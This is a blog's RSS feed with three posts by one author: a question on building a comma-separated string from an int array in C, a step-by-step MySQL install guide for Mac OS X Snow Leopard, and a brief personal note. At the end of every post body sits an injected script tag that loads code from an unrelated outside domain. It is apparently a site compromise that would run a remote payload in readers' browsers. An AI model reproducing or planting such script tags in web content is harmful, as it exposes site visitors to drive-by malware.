<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; cisco</title>
	<atom:link href="http://jboxer.com/tag/cisco/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Using C, convert a dynamically-allocated int array to a comma-separated string as cleanly as possible</title>
		<link>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/</link>
		<comments>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 21:11:37 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=248</guid>
		<description><![CDATA[EDIT: There are no &#8220;dynamic arrays&#8221;, so to speak, in C. What I meant was &#8220;dynamically-allocated&#8221;. I&#8217;ve updated the wording to reflect this. EDIT 2: Someone on Reddit pointed out that my Python example doesn&#8217;t actually work, since I have an array of ints rather than strings. I&#8217;ve updated the code example so it works. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>EDIT: There are no &#8220;dynamic arrays&#8221;, so to speak, in C. What I meant was &#8220;dynamically-allocated&#8221;. I&#8217;ve updated the wording to reflect this.</strong></p>
<p><strong>EDIT 2: Someone on <a href="http://www.reddit.com/r/programming/comments/a50gy/using_c_convert_a_dynamic_int_array_to_a/">Reddit</a> pointed out that my Python example doesn&#8217;t actually work, since I have an array of ints rather than strings. I&#8217;ve updated the code example so it works.</strong></p>
<p>I&#8217;m much less experienced in C than I am in higher-level languages. At Cisco, we use C, and I sometimes run into something that would be easy to do in Java or Python, but very difficult to do in C. Now is one of those times.</p>
<p>I have a dynamically-allocated array of unsigned integers which I need to convert to a comma-separated string for logging. While the integers are not likely to be very large, they could conceptually be anywhere from 0 to 4,294,967,295 In Python, that&#8217;s one short line.</p>
<pre class="brush: python;">my_str = ','.join([str(num) for num in my_list])</pre>
<p>How elegantly can people do this in C? I came up with a way, but it&#8217;s gross. If anyone knows a nice way to do it, please enlighten me.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/11/using-c-convert-a-dynamic-int-array-to-a-comma-separated-string-as-cleanly-as-possible/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Installing MySQL on Snow Leopard</title>
		<link>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/</link>
		<comments>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 21:16:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=198</guid>
		<description><![CDATA[Early on at Cisco, I realized that it&#8217;s really beneficial to write down (step by step) what I&#8217;ve done when I install something new. It forces me to think about what I&#8217;m doing, it provides me with a guide in case I mess up and have to start over, and other people can benefit from [...]]]></description>
			<content:encoded><![CDATA[<p>Early on at Cisco, I realized that it&#8217;s really beneficial to write down (step by step) what I&#8217;ve done when I install something new. It forces me to think about what I&#8217;m doing, it provides me with a guide in case I mess up and have to start over, and other people can benefit from it later.</p>
<p>With that in mind, I&#8217;ve decided to document my installation of MySQL on Snow Leopard (OS X 10.6). Hopefully, someone will get some use out of it, but if not, at least I&#8217;ll have documentation of what I did.</p>
<h3>The PATH Variable</h3>
<p>MySQL has a bunch of useful executables that aren&#8217;t in PATH by default. I could symlink to them, but I think that&#8217;s less maintainable than just appending to PATH.</p>
<ol>
<li>Open the Terminal</li>
<li>Open up the .bash_profile file in your home directory. This is a bash script that runs every time you start the Terminal, so the PATH variable will be extended properly every time. <strong>If you have TextMate and its UNIX command line tools installed</strong>, do it like this:
<pre class="brush: bash;">mate ~/.bash_profile</pre>
<p>Otherwise, do it like this:</p>
<pre class="brush: bash;">/Applications/TextEdit.app/Contents/MacOS/TextEdit ~/.bash_profile &amp;</pre>
<p>If you use the second one, make sure to add the ampersand at the end.</li>
<li>We want to add MySQL&#8217;s bin folder to PATH. MySQL&#8217;s going to be installed at /usr/local/mysql, so let&#8217;s add /usr/local/mysql/bin to PATH. Add the following line to .bash_profile:
<pre class="brush: bash;">export PATH=&quot;/usr/local/mysql/bin:/usr/local/sbin:$PATH&quot;</pre>
<p>This replaces PATH with two new locations and the old value of path (so essentially, appending the two new locations to the beginning of PATH). You&#8217;ll notice that, in addition to /usr/local/mysql/bin (which I mentioned earlier), I also added /usr/local/sbin. OS X doesn&#8217;t include this in PATH by default, but I think it should, so I added it. I have no defense for that position, but this is as much a guide for myself as it is a guide for other people, so I don&#8217;t need to defend it :)</li>
<li>Save the updated .bash_profile and close it.</li>
<li>Quit and reopen Terminal so that .bash_profile will be rerun (you could also run it explicitly, but I prefer quitting and reopening).</li>
<li>Run the following command:
<pre class="brush: bash;">echo $PATH</pre>
<p>You should see /usr/local/mysql/bin and /usr/local/sbin in there now.</li>
<li><strong>Edit:</strong> Restart your computer. My installation worked without doing this, but Jon (in the comments) said he needed to do this before it worked, so you might as well.</li>
</ol>
<h3>Downloading + Installing</h3>
<p>I might try compiling and installing from source at some point, but I don&#8217;t see any reason to when there are official OS X binaries available. Worst case scenario, it messes with a bunch of my settings, and I&#8217;ll uninstall and then do it from source.</p>
<ol>
<li>Go to http://dev.mysql.com/downloads/mysql/5.1.html#downloads</li>
<li>Scroll down to the Mac OS X section (near the bottom). Download the version labeled &#8220;Mac OS X 10.5 (x86_64)&#8221;. <strong>It&#8217;s very important that you download the 64-bit version.</strong> The 32-bit one will give you preference pane problems (I call them PPPs whenever I talk about them, though this is the first time I ever have). Eventually, there&#8217;ll probably be a Mac OS X 10.6 version, but for now, this works perfectly.</li>
<li>Open the .dmg, then run mysql-x.x.xx-osx10.5-x86_64.pkg. Continue through all the screens without changing anything, until it finishes.</li>
<li>Optional: install the preference pane by running MySQL.prefPane.</li>
<li>Optional: make MySQL start up along with OS X by running MySQLStartupItem.pkg. I didn&#8217;t do this (I often use my computer for things other than development, and I don&#8217;t want to bog it down unnecessarily), so I can&#8217;t provide any instruction or vouch for how well it works on Snow Leopard.</li>
<p>You should now be able to start MySQL by going into the MySQL preference pane and clicking &#8220;Start MySQL Server&#8221;. If it doesn&#8217;t work, leave me a comment, and I&#8217;ll try to help you.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>A Very Good Month</title>
		<link>http://jboxer.com/2008/11/a-very-good-month/</link>
		<comments>http://jboxer.com/2008/11/a-very-good-month/#comments</comments>
		<pubDate>Wed, 05 Nov 2008 14:58:43 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[my life]]></category>
		<category><![CDATA[barack obama]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://terrorist-fist-jab.com/?p=29</guid>
		<description><![CDATA[Barack Obama has won the election. I got a great job offer from Cisco. I have an interview with Google next Friday. This is a November that I will remember.]]></description>
			<content:encoded><![CDATA[<p>Barack Obama has won the election.</p>
<p>I got a great job offer from Cisco.</p>
<p>I have an interview with Google next Friday.</p>
<p>This is a November that I will remember.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2008/11/a-very-good-month/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
